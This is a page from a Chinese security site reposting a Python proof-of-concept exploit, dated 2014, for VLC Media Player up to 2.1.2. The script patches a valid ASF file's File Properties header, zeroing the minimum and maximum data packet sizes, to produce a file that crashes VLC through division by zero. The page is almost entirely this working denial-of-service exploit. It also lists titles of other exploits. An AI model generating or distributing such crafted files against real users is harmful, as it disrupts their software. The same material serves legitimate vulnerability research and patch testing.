首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
VLC 2.1.2 (.asf) - Crash PoC
来源:vfocus.net 作者:Saif 发布时间:2014-02-10  
#!/usr/bin/python
# VLC Media Player up to 2.1.2 DOS POC Integer Division By zero in ASF Demuxer
# VLC Media Player is prone to DOS utilizing a division by zero error if minimium data packet size
# is equal to zero. this was tested on windows XP sp3 and affects all versions of vlc till latest 2.1.2
# to run this script you need to install python bitstring module
# usage you supply any valid asf and the script will produxe a POC asf that will crash vlc
   
import sys
from bitstring import BitArray
   
f = open(sys.argv[1],'r+b')
   
f.seek(0,2)
   
size = f.tell()
   
print "[*] file size: %d" % size
   
f.seek(0,0)
   
print "[*] ReeeeeWWWWWWiiiiiNNNNNNND"
   
fb = BitArray(f)
   
index  =  fb.find('0xa1dcab8c47a9cf118ee400c00c205365',bytealigned=True)
   
print "[*] found file properties GUID"
print "[*] File properties GUID: %s" % fb[index[0]:(index[0]+128)]
   
# index of minumum packet size in File Proprties header
i_min_data_pkt_size = index[0] +  736
   
print "[*] Original Minimum Data Packet Size: %s" % fb[i_min_data_pkt_size:i_min_data_pkt_size+32].hex
print "[*] Original Maximum Data Packet Size: %s" % fb[i_min_data_pkt_size+32:i_min_data_pkt_size+64].hex
   
# Accroding to ASF standarad the minimum data size and the maximum data size should be equal
print "[*] Changing Miniumum and Maximum Data packet size to 0"
   
# changing the data packets in bit array
   
fb[i_min_data_pkt_size:i_min_data_pkt_size+8] = 0x00
fb[i_min_data_pkt_size+8:i_min_data_pkt_size+16] = 0x00
fb[i_min_data_pkt_size+16:i_min_data_pkt_size+24] = 0x00
fb[i_min_data_pkt_size+24:i_min_data_pkt_size+32] = 0x00
fb[i_min_data_pkt_size+32:i_min_data_pkt_size+40] = 0x00
fb[i_min_data_pkt_size+40:i_min_data_pkt_size+48] = 0x00
fb[i_min_data_pkt_size+48:i_min_data_pkt_size+56] = 0x00
fb[i_min_data_pkt_size+56:i_min_data_pkt_size+64] = 0x00
   
print "[*] POC File Created poc.asf"
   
of = open('poc.asf','w+b')
fb.tofile(of)
of.close()
f.close()

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·XnView 1.92.1 Command-Line Arg
·OneHTTPD 0.8 - Crash PoC
·Apache Struts Developer Mode O
·Asseco SEE iBank FX Client 2.0
·SkyBlueCanvas CMS Remote Code
·Pandora FMS Remote Code Execut
·Apache Tomcat Manager Code Exe
·Android Browser and WebView ad
·Linux kernel 3.4+ Arbitrary wr
·Inteno DG301 Remote Command Ex
·Linux kernel 3.4+ local root (
·Linux 3.4+ recvmmsg x32 compat
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved